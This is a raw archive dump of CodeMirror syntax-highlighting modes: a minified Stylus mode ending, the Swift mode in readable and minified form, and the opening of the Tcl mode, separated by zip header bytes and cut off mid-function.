d=b.current();N=D(d),"tag"==N&&R.test(d)&&(N="variable-2"),"property"!=N&&"to"!=d||(N="atom")}return"variable-name"==a?v(c,b,"variableName"):G(a,b)?v(c,b,"pseudo"):c.context.type},fa.vendorPrefixes=function(a,b,c){return"word"==a?(N="property",v(c,b,"block",0)):w(c)},fa.pseudo=function(a,b,c){return
A(J(b.string))?y(a,b,c):(b.match(/^[a-z-]+/),N="variable-3",I(b)?v(c,b,"block"):w(c))},fa.atBlock=function(a,b,c){if("("==a)return
v(c,b,"atBlock_parens");if(E(a,b))return
v(c,b,"block");if(F(a,b))return
v(c,b,"interpolation");if("word"==a){var
d=b.current().toLowerCase();if("tag"==(N=/^(only|not|and|or)$/.test(d)?"keyword":W.hasOwnProperty(d)?"tag":Z.hasOwnProperty(d)?"attribute":Y.hasOwnProperty(d)?"property":T.hasOwnProperty(d)?"string-2":D(b.current()))&&I(b))return
v(c,b,"block")}return"operator"==a&&/^(not|and|or)$/.test(b.current())&&(N="keyword"),c.context.type},fa.atBlock_parens=function(a,b,c){if("{"==a||"}"==a)return
c.context.type;if(")"==a)return
I(b)?v(c,b,"block"):v(c,b,"atBlock");if("word"==a){var
d=b.current().toLowerCase();return
N=D(d),/^(max|min)/.test(d)&&(N="property"),"tag"==N&&(N=R.test(d)?"variable-2":"atom"),c.context.type}return
fa.atBlock(a,b,c)},fa.keyframes=function(a,b,c){return"0"==b.indentation()&&("}"==a&&H(b)||"]"==a||"hash"==a||"qualifier"==a||z(b.current()))?y(a,b,c):"{"==a?v(c,b,"keyframes"):"}"==a?H(b)?w(c,!0):v(c,b,"keyframes"):"unit"==a&&/^[0-9]+\%$/.test(b.current())?v(c,b,"keyframes"):"word"==a&&"block-keyword"==(N=D(b.current()))?(N="keyword",v(c,b,"keyframes")):/@(font-face|media|supports|(-moz-)?document)/.test(a)?v(c,b,I(b)?"block":"atBlock"):"mixin"==a?v(c,b,"block",0):c.context.type},fa.interpolation=function(a,b,c){return"{"==a&&w(c)&&v(c,b,"block"),"}"==a?b.string.match(/^\s*(\.|#|:|\[|\*|&|>|~|\+|\/)/i)||b.string.match(/^\s*[a-z]/i)&&z(J(b))?v(c,b,"block"):!b.string.match(/^(\{|\s*\&)/)||b.match(/\s*[\w-]/,!1)?v(c,b,"block",0):v(c,b,"block"):"variable-name"==a?v(c,b,"variableName",0):("word"==a&&"tag"==(N=D(b.current()))&&(N="atom"),c.context.type)},fa.extend=function(a,b,c){return"["==a||"="==a?"extend":"]"==a?w(c):"word"==a?(N=D(b.current()),"extend"):w(c)},fa.variableName=function(a,b,c){return"string"==a||"["==a||"]"==a||b.current().match(/^(\.|\$)/)?(b.current().match(/^\.[\w-]+/i)&&(N="variable-2"),"variableName"):y(a,b,c)},{startState:function(a){return{tokenize:null,state:"block",context:new
u("block",a||0,null)}},token:function(a,b){return!b.tokenize&&a.eatSpace()?null:(L=(b.tokenize||q)(a,b),L&&"object"==typeof
L&&(M=L[1],L=L[0]),N=L,b.state=fa[b.state](M,a,b),N)},indent:function(a,b,c){var
d=a.context,e=b&&b.charAt(0),f=d.indent,g=J(b),h=c.match(/^\s*/)[0].replace(/\t/g,P).length,i=a.context.prev?a.context.prev.line.firstWord:"",j=a.context.prev?a.context.prev.line.indent:h;return
d.prev&&("}"==e&&("block"==d.type||"atBlock"==d.type||"keyframes"==d.type)||")"==e&&("parens"==d.type||"atBlock_parens"==d.type)||"{"==e&&"at"==d.type)?f=d.indent-O:/(\})/.test(e)||(/@|\$|\d/.test(e)||/^\{/.test(b)||/^\s*\/(\/|\*)/.test(b)||/^\s*\/\*/.test(i)||/^\s*[\w-\.\[\]\'\"]+\s*(\?|:|\+)?=/i.test(b)||/^(\+|-)?[a-z][\w-]*\(/i.test(b)||/^return/.test(b)||B(g)?f=h:/(\.|#|:|\[|\*|&|>|~|\+|\/)/.test(e)||z(g)?f=/\,\s*$/.test(i)?j:/^\s+/.test(c)&&(/(\.|#|:|\[|\*|&|>|~|\+|\/)/.test(i)||z(i))?h<=j?j:j+O:h:/,\s*$/.test(c)||!C(g)&&!A(g)||(f=B(i)?h<=j?j:j+O:/^\{/.test(i)?h<=j?h:j+O:C(i)||A(i)?h>=j?j:h:/^(\.|#|:|\[|\*|&|@|\+|\-|>|~|\/)/.test(i)||/=\s*$/.test(i)||z(i)||/^\$[\w-\.\[\]\'\"]/.test(i)?j+O:h)),f},electricChars:"}",lineComment:"//",fold:"indent"}}));var
e=["a","abbr","address","area","article","aside","audio","b","base","bdi","bdo","bgsound","blockquote","body","br","button","canvas","caption","cite","code","col","colgroup","data","datalist","dd","del","details","dfn","div","dl","dt","em","embed","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","iframe","img","input","ins","kbd","keygen","label","legend","li","link","main","map","mark","marquee","menu","menuitem","meta","meter","nav","nobr","noframes","noscript","object","ol","optgroup","option","output","p","param","pre","progress","q","rp","rt","ruby","s","samp","script","section","select","small","source","span","strong","style","sub","summary","sup","table","tbody","td","textarea","tfoot","th","thead","time","tr","track","u","ul","var","video"],f=["domain","regexp","url","url-prefix"],g=["all","aural","braille","handheld","print","projection","screen","tty","tv","embossed"],h=["width","min-width","max-width","height","min-height","max-height","device-width","min-device-width","max-device-width","device-height","min-device-height","max-device-height","aspect-ratio","min-aspect-ratio","max-aspect-ratio","device-aspect-ratio","min-device-aspect-ratio","max-device-aspect-ratio","color","min-color","max-color","color-index","min-color-index","max-color-index","monochrome","min-monochrome","max-monochrome","resolution","min-resolution","max-resolution","scan","grid"],i=["align-content","align-items","align-self","alignment-adjust","alignment-baseline","anchor-point","animation","animation-delay","animation-direction","animation-duration","animation-fill-mode","animation-iteration-count","animation-name","animation-play-state","animation-timing-function","appearance","azimuth","backface-visibility","background","background-attachment","background-clip","background-color","background-image","background-origin","background-position","background-repeat","background-size","baseline-shift","binding","bleed","bookmark-label","bookmark-level","bookmark-state","bookmark-target","border","border-bottom","border-bottom-color","border-bottom-left-radius","border-bottom-right-radius","border-bottom-style","border-bottom-width","border-collapse","border-color","border-image","border-image-outset","border-image-repeat","border-image-slice","border-image-source","border-image-width","border-left","border-left-color","border-left-style","border-left-width","border-radius","border-right","border-right-color","border-right-style","border-right-width","border-spacing","border-style","border-top","border-top-color","border-top-left-radius","border-top-right-radius","border-top-style","border-top-width","border-width","bottom","box-decoration-break","box-shadow","box-sizing","break-after","break-before","break-inside","caption-side","clear","clip","color","color-profile","column-count","column-fill","column-gap","column-rule","column-rule-color","column-rule-style","column-rule-width","column-span","column-width","columns","content","counter-increment","counter-reset","crop","cue","cue-after","cue-before","cursor","direction","display","dominant-baseline","drop-initial-after-adjust","drop-initial-after-align","drop-initial-before-adjust","drop-initial-before-align","drop-initial-size","drop-initial-value","elevation","empty-cells","fit","fit-position","flex","flex-basis","flex-direction","flex-flow","flex-grow","flex-shrink","flex-wrap","float","float-offset","flow-from","flow-into","font","font-feature-settings","font-family","font-kerning","font-language-override","font-size","font-size-adjust","font-stretch","font-style","font-synthesis","font-variant","font-variant-alternates","font-variant-caps","font-variant-east-asian","font-variant-ligatures","font-variant-numeric","font-variant-position","font-weight","grid","grid-area","grid-auto-columns","grid-auto-flow","grid-auto-position","grid-auto-rows","grid-column","grid-column-end","grid-column-start","grid-row","grid-row-end","grid-row-start","grid-template","grid-template-areas","grid-template-columns","grid-template-rows","hanging-punctuation","height","hyphens","icon","image-orientation","image-rendering","image-resolution","inline-box-align","justify-content","left","letter-spacing","line-break","line-height","line-stacking","line-stacking-ruby","line-stacking-shift","line-stacking-strategy","list-style","list-style-image","list-style-position","list-style-type","margin","margin-bottom","margin-left","margin-right","margin-top","marker-offset","marks","marquee-direction","marquee-loop","marquee-play-count","marquee-speed","marquee-style","max-height","max-width","min-height","min-width","move-to","nav-down","nav-index","nav-left","nav-right","nav-up","object-fit","object-position","opacity","order","orphans","outline","outline-color","outline-offset","outline-style","outline-width","overflow","overflow-style","overflow-wrap","overflow-x","overflow-y","padding","padding-bottom","padding-left","padding-right","padding-top","page","page-break-after","page-break-before","page-break-inside","page-policy","pause","pause-after","pause-before","perspective","perspective-origin","pitch","pitch-range","play-during","position","presentation-level","punctuation-trim","quotes","region-break-after","region-break-before","region-break-inside","region-fragment","rendering-intent","resize","rest","rest-after","rest-before","richness","right","rotation","rotation-point","ruby-align","ruby-overhang","ruby-position","ruby-span","shape-image-threshold","shape-inside","shape-margin","shape-outside","size","speak","speak-as","speak-header","speak-numeral","speak-punctuation","speech-rate","stress","string-set","tab-size","table-layout","target","target-name","target-new","target-position","text-align","text-align-last","text-decoration","text-decoration-color","text-decoration-line","text-decoration-skip","text-decoration-style","text-emphasis","text-emphasis-color","text-emphasis-position","text-emphasis-style","text-height","text-indent","text-justify","text-outline","text-overflow","text-shadow","text-size-adjust","text-space-collapse","text-transform","text-underline-position","text-wrap","top","transform","transform-origin","transform-style","transition","transition-delay","transition-duration","transition-property","transition-timing-function","unicode-bidi","vertical-align","visibility","voice-balance","voice-duration","voice-family","voice-pitch","voice-range","voice-rate","voice-stress","voice-volume","volume","white-space","widows","width","will-change","word-break","word-spacing","word-wrap","z-index","clip-path","clip-rule","mask","enable-background","filter","flood-color","flood-opacity","lighting-color","stop-color","stop-opacity","pointer-events","color-interpolation","color-interpolation-filters","color-rendering","fill","fill-opacity","fill-rule","image-rendering","marker","marker-end","marker-mid","marker-start","shape-rendering","stroke","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke-width","text-rendering","baseline-shift","dominant-baseline","glyph-orientation-horizontal","glyph-orientation-vertical","text-anchor","writing-mode","font-smoothing","osx-font-smoothing"],j=["scrollbar-arrow-color","scrollbar-base-color","scrollbar-dark-shadow-color","scrollbar-face-color","scrollbar-highlight-color","scrollbar-shadow-color","scrollbar-3d-light-color","scrollbar-track-color","shape-inside","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","zoom"],k=["font-family","src","unicode-range","font-variant","font-feature-settings","font-stretch","font-weight","font-style"],l=["aliceblue","antiquewhite","aqua","aquamarine","azure","beige","bisque","black","blanchedalmond","blue","blueviolet","brown","burlywood","cadetblue","chartreuse","chocolate","coral","cornflowerblue","cornsilk","crimson","cyan","darkblue","darkcyan","darkgoldenrod","darkgray","darkgreen","darkkhaki","darkmagenta","darkolivegreen","darkorange","darkorchid","darkred","darksalmon","darkseagreen","darkslateblue","darkslategray","darkturquoise","darkviolet","deeppink","deepskyblue","dimgray","dodgerblue","firebrick","floralwhite","forestgreen","fuchsia","gainsboro","ghostwhite","gold","goldenrod","gray","grey","green","greenyellow","honeydew","hotpink","indianred","indigo","ivory","khaki","lavender","lavenderblush","lawngreen","lemonchiffon","lightblue","lightcoral","lightcyan","lightgoldenrodyellow","lightgray","lightgreen","lightpink","lightsalmon","lightseagreen","lightskyblue","lightslategray","lightsteelblue","lightyellow","lime","limegreen","linen","magenta","maroon","mediumaquamarine","mediumblue","mediumorchid","mediumpurple","mediumseagreen","mediumslateblue","mediumspringgreen","mediumturquoise","mediumvioletred","midnightblue","mintcream","mistyrose","moccasin","navajowhite","navy","oldlace","olive","olivedrab","orange","orangered","orchid","palegoldenrod","palegreen","paleturquoise","palevioletred","papayawhip","peachpuff","peru","pink","plum","powderblue","purple","rebeccapurple","red","rosybrown","royalblue","saddlebrown","salmon","sandybrown","seagreen","seashell","sienna","silver","skyblue","slateblue","slategray","snow","springgreen","steelblue","tan","teal","thistle","tomato","turquoise","violet","wheat","white","whitesmoke","yellow","yellowgreen"],m=["above","absolute","activeborder","additive","activecaption","afar","after-white-space","ahead","alias","all","all-scroll","alphabetic","alternate","always","amharic","amharic-abegede","antialiased","appworkspace","arabic-indic","armenian","asterisks","attr","auto","avoid","avoid-column","avoid-page","avoid-region","background","backwards","baseline","below","bidi-override","binary","bengali","blink","block","block-axis","bold","bolder","border","border-box","both","bottom","break","break-all","break-word","bullets","button","button-bevel","buttonface","buttonhighlight","buttonshadow","buttontext","calc","cambodian","capitalize","caps-lock-indicator","caption","captiontext","caret","cell","center","checkbox","circle","cjk-decimal","cjk-earthly-branch","cjk-heavenly-stem","cjk-ideographic","clear","clip","close-quote","col-resize","collapse","column","compact","condensed","contain","content","contents","content-box","context-menu","continuous","copy","counter","counters","cover","crop","cross","crosshair","currentcolor","cursive","cyclic","dashed","decimal","decimal-leading-zero","default","default-button","destination-atop","destination-in","destination-out","destination-over","devanagari","disc","discard","disclosure-closed","disclosure-open","document","dot-dash","dot-dot-dash","dotted","double","down","e-resize","ease","ease-in","ease-in-out","ease-out","element","ellipse","ellipsis","embed","end","ethiopic","ethiopic-abegede","ethiopic-abegede-am-et","ethiopic-abegede-gez","ethiopic-abegede-ti-er","ethiopic-abegede-ti-et","ethiopic-halehame-aa-er","ethiopic-halehame-aa-et","ethiopic-halehame-am-et","ethiopic-halehame-gez","ethiopic-halehame-om-et","ethiopic-halehame-sid-et","ethiopic-halehame-so-et","ethiopic-halehame-ti-er","ethiopic-halehame-ti-et","ethiopic-halehame-tig","ethiopic-numeric","ew-resize","expanded","extends","extra-condensed","extra-expanded","fantasy","fast","fill","fixed","flat","flex","footnotes","forwards","from","geometricPrecision","georgian","graytext","groove","gujarati","gurmukhi","hand","hangul","hangul-consonant","hebrew","help","hidden","hide","higher","highlight","highlighttext","hiragana","hiragana-iroha","horizontal","hsl","hsla","icon","ignore","inactiveborder","inactivecaption","inactivecaptiontext","infinite","infobackground","infotext","inherit","initial","inline","inline-axis","inline-block","inline-flex","inline-table","inset","inside","intrinsic","invert","italic","japanese-formal","japanese-informal","justify","kannada","katakana","katakana-iroha","keep-all","khmer","korean-hangul-formal","korean-hanja-formal","korean-hanja-informal","landscape","lao","large","larger","left","level","lighter","line-through","linear","linear-gradient","lines","list-item","listbox","listitem","local","logical","loud","lower","lower-alpha","lower-armenian","lower-greek","lower-hexadecimal","lower-latin","lower-norwegian","lower-roman","lowercase","ltr","malayalam","match","matrix","matrix3d","media-controls-background","media-current-time-display","media-fullscreen-button","media-mute-button","media-play-button","media-return-to-realtime-button","media-rewind-button","media-seek-back-button","media-seek-forward-button","media-slider","media-sliderthumb","media-time-remaining-display","media-volume-slider","media-volume-slider-container","media-volume-sliderthumb","medium","menu","menulist","menulist-button","menulist-text","menulist-textfield","menutext","message-box","middle","min-intrinsic","mix","mongolian","monospace","move","multiple","myanmar","n-resize","narrower","ne-resize","nesw-resize","no-close-quote","no-drop","no-open-quote","no-repeat","none","normal","not-allowed","nowrap","ns-resize","numbers","numeric","nw-resize","nwse-resize","oblique","octal","open-quote","optimizeLegibility","optimizeSpeed","oriya","oromo","outset","outside","outside-shape","overlay","overline","padding","padding-box","painted","page","paused","persian","perspective","plus-darker","plus-lighter","pointer","polygon","portrait","pre","pre-line","pre-wrap","preserve-3d","progress","push-button","radial-gradient","radio","read-only","read-write","read-write-plaintext-only","rectangle","region","relative","repeat","repeating-linear-gradient","repeating-radial-gradient","repeat-x","repeat-y","reset","reverse","rgb","rgba","ridge","right","rotate","rotate3d","rotateX","rotateY","rotateZ","round","row-resize","rtl","run-in","running","s-resize","sans-serif","scale","scale3d","scaleX","scaleY","scaleZ","scroll","scrollbar","scroll-position","se-resize","searchfield","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","semi-condensed","semi-expanded","separate","serif","show","sidama","simp-chinese-formal","simp-chinese-informal","single","skew","skewX","skewY","skip-white-space","slide","slider-horizontal","slider-vertical","sliderthumb-horizontal","sliderthumb-vertical","slow","small","small-caps","small-caption","smaller","solid","somali","source-atop","source-in","source-out","source-over","space","spell-out","square","square-button","start","static","status-bar","stretch","stroke","sub","subpixel-antialiased","super","sw-resize","symbolic","symbols","table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row","table-row-group","tamil","telugu","text","text-bottom","text-top","textarea","textfield","thai","thick","thin","threeddarkshadow","threedface","threedhighlight","threedlightshadow","threedshadow","tibetan","tigre","tigrinya-er","tigrinya-er-abegede","tigrinya-et","tigrinya-et-abegede","to","top","trad-chinese-formal","trad-chinese-informal","translate","translate3d","translateX","translateY","translateZ","transparent","ultra-condensed","ultra-expanded","underline","up","upper-alpha","upper-armenian","upper-greek","upper-hexadecimal","upper-latin","upper-norwegian","upper-roman","uppercase","urdu","url","var","vertical","vertical-text","visible","visibleFill","visiblePainted","visibleStroke","visual","w-resize","wait","wave","wider","window","windowframe","windowtext","words","x-large","x-small","xor","xx-large","xx-small","bicubic","optimizespeed","grayscale","row","row-reverse","wrap","wrap-reverse","column-reverse","flex-start","flex-end","space-between","space-around","unset"],n=["in","and","or","not","is
not","is
a","is","isnt","defined","if
unless"],o=["for","if","else","unless","from","to"],p=["null","true","false","href","title","type","not-allowed","readonly","disabled"],q=["@font-face","@keyframes","@media","@viewport","@page","@host","@supports","@block","@css"],r=e.concat(f,g,h,i,j,l,m,k,n,o,p,q);a.registerHelper("hintWords","stylus",r),a.defineMIME("text/x-styl","stylus")}));PKJ��[H�5
bbcodemirror/mode/swift/swift.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// Swift mode created by Michael Kaminsky https://github.com/mkaminsky11

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object")
    mod(require("../../lib/codemirror"))
  else if (typeof define == "function" && define.amd)
    define(["../../lib/codemirror"], mod)
  else
    mod(CodeMirror)
})(function(CodeMirror) {
  "use strict"

  function wordSet(words) {
    var set = {}
    for (var i = 0; i < words.length; i++) set[words[i]] = true
    return set
  }

  var keywords =
wordSet(["_","var","let","class","enum","extension","import","protocol","struct","func","typealias","associatedtype",
                         
"open","public","internal","fileprivate","private","deinit","init","new","override","self","subscript","super",
                         
"convenience","dynamic","final","indirect","lazy","required","static","unowned","unowned(safe)","unowned(unsafe)","weak","as","is",
                         
"break","case","continue","default","else","fallthrough","for","guard","if","in","repeat","switch","where","while",
                         
"defer","return","inout","mutating","nonmutating","catch","do","rethrows","throw","throws","try","didSet","get","set","willSet",
                         
"assignment","associativity","infix","left","none","operator","postfix","precedence","precedencegroup","prefix","right",
                         
"Any","AnyObject","Type","dynamicType","Self","Protocol","__COLUMN__","__FILE__","__FUNCTION__","__LINE__"])
  var definingKeywords =
wordSet(["var","let","class","enum","extension","import","protocol","struct","func","typealias","associatedtype","for"])
  var atoms =
wordSet(["true","false","nil","self","super","_"])
  var types =
wordSet(["Array","Bool","Character","Dictionary","Double","Float","Int","Int8","Int16","Int32","Int64","Never","Optional","Set","String",
                      
"UInt8","UInt16","UInt32","UInt64","Void"])
  var operators = "+-/*%=|&<>~^?!"
  var punc = ":;,.(){}[]"
  var binary = /^\-?0b[01][01_]*/
  var octal = /^\-?0o[0-7][0-7_]*/
  var hexadecimal =
/^\-?0x[\dA-Fa-f][\dA-Fa-f_]*(?:(?:\.[\dA-Fa-f][\dA-Fa-f_]*)?[Pp]\-?\d[\d_]*)?/
  var decimal = /^\-?\d[\d_]*(?:\.\d[\d_]*)?(?:[Ee]\-?\d[\d_]*)?/
  var identifier = /^\$\d+|(`?)[_A-Za-z][_A-Za-z$0-9]*\1/
  var property = /^\.(?:\$\d+|(`?)[_A-Za-z][_A-Za-z$0-9]*\1)/
  var instruction = /^\#[A-Za-z]+/
  var attribute = /^@(?:\$\d+|(`?)[_A-Za-z][_A-Za-z$0-9]*\1)/
  //var regexp = /^\/(?!\s)(?:\/\/)?(?:\\.|[^\/])+\//

  function tokenBase(stream, state, prev) {
    if (stream.sol()) state.indented = stream.indentation()
    if (stream.eatSpace()) return null

    var ch = stream.peek()
    if (ch == "/") {
      if (stream.match("//")) {
        stream.skipToEnd()
        return "comment"
      }
      if (stream.match("/*")) {
        state.tokenize.push(tokenComment)
        return tokenComment(stream, state)
      }
    }
    if (stream.match(instruction)) return "builtin"
    if (stream.match(attribute)) return "attribute"
    if (stream.match(binary)) return "number"
    if (stream.match(octal)) return "number"
    if (stream.match(hexadecimal)) return "number"
    if (stream.match(decimal)) return "number"
    if (stream.match(property)) return "property"
    if (operators.indexOf(ch) > -1) {
      stream.next()
      return "operator"
    }
    if (punc.indexOf(ch) > -1) {
      stream.next()
      stream.match("..")
      return "punctuation"
    }
    var stringMatch
    if (stringMatch = stream.match(/("""|"|')/)) {
      var tokenize = tokenString.bind(null, stringMatch[0])
      state.tokenize.push(tokenize)
      return tokenize(stream, state)
    }

    if (stream.match(identifier)) {
      var ident = stream.current()
      if (types.hasOwnProperty(ident)) return "variable-2"
      if (atoms.hasOwnProperty(ident)) return "atom"
      if (keywords.hasOwnProperty(ident)) {
        if (definingKeywords.hasOwnProperty(ident))
          state.prev = "define"
        return "keyword"
      }
      if (prev == "define") return "def"
      return "variable"
    }

    stream.next()
    return null
  }

  function tokenUntilClosingParen() {
    var depth = 0
    return function(stream, state, prev) {
      var inner = tokenBase(stream, state, prev)
      if (inner == "punctuation") {
        if (stream.current() == "(") ++depth
        else if (stream.current() == ")") {
          if (depth == 0) {
            stream.backUp(1)
            state.tokenize.pop()
            return state.tokenize[state.tokenize.length - 1](stream, state)
          }
          else --depth
        }
      }
      return inner
    }
  }

  function tokenString(openQuote, stream, state) {
    var singleLine = openQuote.length == 1
    var ch, escaped = false
    while (ch = stream.peek()) {
      if (escaped) {
        stream.next()
        if (ch == "(") {
          state.tokenize.push(tokenUntilClosingParen())
          return "string"
        }
        escaped = false
      } else if (stream.match(openQuote)) {
        state.tokenize.pop()
        return "string"
      } else {
        stream.next()
        escaped = ch == "\\"
      }
    }
    if (singleLine) {
      state.tokenize.pop()
    }
    return "string"
  }

  function tokenComment(stream, state) {
    var ch
    while (true) {
      stream.match(/^[^/*]+/, true)
      ch = stream.next()
      if (!ch) break
      if (ch === "/" && stream.eat("*")) {
        state.tokenize.push(tokenComment)
      } else if (ch === "*" && stream.eat("/"))
{
        state.tokenize.pop()
      }
    }
    return "comment"
  }

  function Context(prev, align, indented) {
    this.prev = prev
    this.align = align
    this.indented = indented
  }

  function pushContext(state, stream) {
    var align = stream.match(/^\s*($|\/[\/\*])/, false) ? null :
stream.column() + 1
    state.context = new Context(state.context, align, state.indented)
  }

  function popContext(state) {
    if (state.context) {
      state.indented = state.context.indented
      state.context = state.context.prev
    }
  }

  CodeMirror.defineMode("swift", function(config) {
    return {
      startState: function() {
        return {
          prev: null,
          context: null,
          indented: 0,
          tokenize: []
        }
      },

      token: function(stream, state) {
        var prev = state.prev
        state.prev = null
        var tokenize = state.tokenize[state.tokenize.length - 1] ||
tokenBase
        var style = tokenize(stream, state, prev)
        if (!style || style == "comment") state.prev = prev
        else if (!state.prev) state.prev = style

        if (style == "punctuation") {
          var bracket = /[\(\[\{]|([\]\)\}])/.exec(stream.current())
          if (bracket) (bracket[1] ? popContext : pushContext)(state,
stream)
        }

        return style
      },

      indent: function(state, textAfter) {
        var cx = state.context
        if (!cx) return 0
        var closing = /^[\]\}\)]/.test(textAfter)
        if (cx.align != null) return cx.align - (closing ? 1 : 0)
        return cx.indented + (closing ? 0 : config.indentUnit)
      },

      electricInput: /^\s*[\)\}\]]$/,

      lineComment: "//",
      blockCommentStart: "/*",
      blockCommentEnd: "*/",
      fold: "brace",
      closeBrackets: "()[]{}''\"\"``"
    }
  })

  CodeMirror.defineMIME("text/x-swift","swift")
});
PKJ��[A5EBqq"codemirror/mode/swift/swift.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){for(var
b={},c=0;c<a.length;c++)b[a[c]]=!0;return b}function
c(a,b,c){if(a.sol()&&(b.indented=a.indentation()),a.eatSpace())return
null;var d=a.peek();if("/"==d){if(a.match("//"))return
a.skipToEnd(),"comment";if(a.match("/*"))return
b.tokenize.push(f),f(a,b)}if(a.match(v))return"builtin";if(a.match(w))return"attribute";if(a.match(p))return"number";if(a.match(q))return"number";if(a.match(r))return"number";if(a.match(s))return"number";if(a.match(u))return"property";if(n.indexOf(d)>-1)return
a.next(),"operator";if(o.indexOf(d)>-1)return
a.next(),a.match(".."),"punctuation";var
g;if(g=a.match(/("""|"|')/)){var
h=e.bind(null,g[0]);return b.tokenize.push(h),h(a,b)}if(a.match(t)){var
i=a.current();return
m.hasOwnProperty(i)?"variable-2":l.hasOwnProperty(i)?"atom":j.hasOwnProperty(i)?(k.hasOwnProperty(i)&&(b.prev="define"),"keyword"):"define"==c?"def":"variable"}return
a.next(),null}function d(){var a=0;return function(b,d,e){var
f=c(b,d,e);if("punctuation"==f)if("("==b.current())++a;else
if(")"==b.current()){if(0==a)return
b.backUp(1),d.tokenize.pop(),d.tokenize[d.tokenize.length-1](b,d);--a}return
f}}function e(a,b,c){for(var
e,f=1==a.length,g=!1;e=b.peek();)if(g){if(b.next(),"("==e)return
c.tokenize.push(d()),"string";g=!1}else{if(b.match(a))return
c.tokenize.pop(),"string";b.next(),g="\\"==e}return
f&&c.tokenize.pop(),"string"}function f(a,b){for(var
c;;){if(a.match(/^[^\/*]+/,!0),!(c=a.next()))break;"/"===c&&a.eat("*")?b.tokenize.push(f):"*"===c&&a.eat("/")&&b.tokenize.pop()}return"comment"}function
g(a,b,c){this.prev=a,this.align=b,this.indented=c}function h(a,b){var
c=b.match(/^\s*($|\/[\/\*])/,!1)?null:b.column()+1;a.context=new
g(a.context,c,a.indented)}function
i(a){a.context&&(a.indented=a.context.indented,a.context=a.context.prev)}var
j=b(["_","var","let","class","enum","extension","import","protocol","struct","func","typealias","associatedtype","open","public","internal","fileprivate","private","deinit","init","new","override","self","subscript","super","convenience","dynamic","final","indirect","lazy","required","static","unowned","unowned(safe)","unowned(unsafe)","weak","as","is","break","case","continue","default","else","fallthrough","for","guard","if","in","repeat","switch","where","while","defer","return","inout","mutating","nonmutating","catch","do","rethrows","throw","throws","try","didSet","get","set","willSet","assignment","associativity","infix","left","none","operator","postfix","precedence","precedencegroup","prefix","right","Any","AnyObject","Type","dynamicType","Self","Protocol","__COLUMN__","__FILE__","__FUNCTION__","__LINE__"]),k=b(["var","let","class","enum","extension","import","protocol","struct","func","typealias","associatedtype","for"]),l=b(["true","false","nil","self","super","_"]),m=b(["Array","Bool","Character","Dictionary","Double","Float","Int","Int8","Int16","Int32","Int64","Never","Optional","Set","String","UInt8","UInt16","UInt32","UInt64","Void"]),n="+-/*%=|&<>~^?!",o=":;,.(){}[]",p=/^\-?0b[01][01_]*/,q=/^\-?0o[0-7][0-7_]*/,r=/^\-?0x[\dA-Fa-f][\dA-Fa-f_]*(?:(?:\.[\dA-Fa-f][\dA-Fa-f_]*)?[Pp]\-?\d[\d_]*)?/,s=/^\-?\d[\d_]*(?:\.\d[\d_]*)?(?:[Ee]\-?\d[\d_]*)?/,t=/^\$\d+|(`?)[_A-Za-z][_A-Za-z$0-9]*\1/,u=/^\.(?:\$\d+|(`?)[_A-Za-z][_A-Za-z$0-9]*\1)/,v=/^\#[A-Za-z]+/,w=/^@(?:\$\d+|(`?)[_A-Za-z][_A-Za-z$0-9]*\1)/;a.defineMode("swift",(function(a){return{startState:function(){return{prev:null,context:null,indented:0,tokenize:[]}},token:function(a,b){var
d=b.prev;b.prev=null;var
e=b.tokenize[b.tokenize.length-1]||c,f=e(a,b,d);if(f&&"comment"!=f?b.prev||(b.prev=f):b.prev=d,"punctuation"==f){var
g=/[\(\[\{]|([\]\)\}])/.exec(a.current());g&&(g[1]?i:h)(b,a)}return
f},indent:function(b,c){var d=b.context;if(!d)return 0;var
e=/^[\]\}\)]/.test(c);return
null!=d.align?d.align-(e?1:0):d.indented+(e?0:a.indentUnit)},electricInput:/^\s*[\)\}\]]$/,lineComment:"//",blockCommentStart:"/*",blockCommentEnd:"*/",fold:"brace",closeBrackets:"()[]{}''\"\"``"}})),a.defineMIME("text/x-swift","swift")}));PKJ��[�3YQQcodemirror/mode/tcl/tcl.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

//tcl mode by Ford_Lawnmower :: Based on Velocity mode by Steve O'Hara

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("tcl", function() {
  function parseWords(str) {
    var obj = {}, words = str.split(" ");
    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
    return obj;
  }
  var keywords = parseWords("Tcl safe after append array auto_execok
auto_import auto_load " +
        "auto_mkindex auto_mkindex_old auto_qualify auto_reset bgerror
" +
        "binary break catch cd close concat continue dde eof encoding
error " +
        "eval exec exit expr fblocked fconfigure fcopy file fileevent
filename " +
        "filename flush for foreach format gets glob global history
http if " +
        "incr info interp join lappend lindex linsert list llength
load lrange " +
        "lreplace lsearch lset lsort memory msgcat namespace open
package parray " +
        "pid pkg::create pkg_mkIndex proc puts pwd re_syntax read
regex regexp " +
        "registry regsub rename resource return scan seek set socket
source split " +
        "string subst switch tcl_endOfWord tcl_findLibrary
tcl_startOfNextWord " +
        "tcl_wordBreakAfter tcl_startOfPreviousWord
tcl_wordBreakBefore tcltest " +
        "tclvars tell time trace unknown unset update uplevel upvar
variable " +
    "vwait");
    var functions = parseWords("if elseif else and not or eq ne in ni
for foreach while switch");
    var isOperatorChar = /[+\-*&%=<>!?^\/\|]/;
    function chain(stream, state, f) {
      state.tokenize = f;
      return f(stream, state);
    }
    function tokenBase(stream, state) {
      var beforeParams = state.beforeParams;
      state.beforeParams = false;
      var ch = stream.next();
